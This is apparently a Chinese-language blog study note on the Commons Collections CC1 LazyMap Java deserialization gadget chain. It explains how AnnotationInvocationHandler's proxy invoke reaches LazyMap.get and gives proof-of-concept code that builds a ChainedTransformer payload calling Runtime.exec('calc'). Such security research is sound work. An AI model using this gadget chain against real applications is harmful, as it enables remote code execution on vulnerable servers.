Java反序列化CommonsCollections(一)LazyMap链
接着上篇的CC1链 两条链前边和后边是相同的
AnnotationInvocationHandle.readObject(这里边有setValue操作)
memberValues.entrySet()(这里的memberValue为AnnotationInvocationHandle的代理,调用entrySet方法会调用代理的Invoke方法)
AnnotationInvocationHandle.invoke
memberValues.get(此时memberValue为LazyMap)
factory.transform(key);
ChainedTransformer.transform
InvokerTransformer.transform
只记录和之前链不同的地方 LazyMap中的get方法调用了transform 后边就是接着之前的链 主要是如何走到这个get方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
需要找到一个readObject中调用了get方法的 根据ysoserial中的链 知道还是利用了AnnotationInvocationHandle 注意到这个类中有个invoke方法 学过动态代理的就很容易想到 在代理类里边重写了invoke方法后 再通过这个代理类调用任何方法都会进入到这个invoke方法中 且AnnotationInvocationHandle的invoke方法中调用了memberValues.get(member) get方法 并且memberValues可控 是我们初始化传入的值
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
这里有两个限制不能是调用了equals并且是无参的方法
获取一个AnnotationInvocationHandle代理类的InvocationHandler对象
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
然后注意到AnnotationInvocationHandle中的readObject中memberValues.entrySet() 这个memberValues是可控的 如果把这个值赋值为刚刚的代理类的对象 然后调用lentrySet方法 这个方法无参 就会去调用AnnotationInvocationHandle的invoke方法 然后再将memberValues初始化为lazyMap 然后就调用了get方法 接着transform方法
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class, mapProxy);
// serialize(o);
unserialize("ser.bin");
Java反序列化CommonsCollections(一)LazyMap链
http://example.com/2021/09/18/OldBlog/java反序列化commonscollections一lazymap链/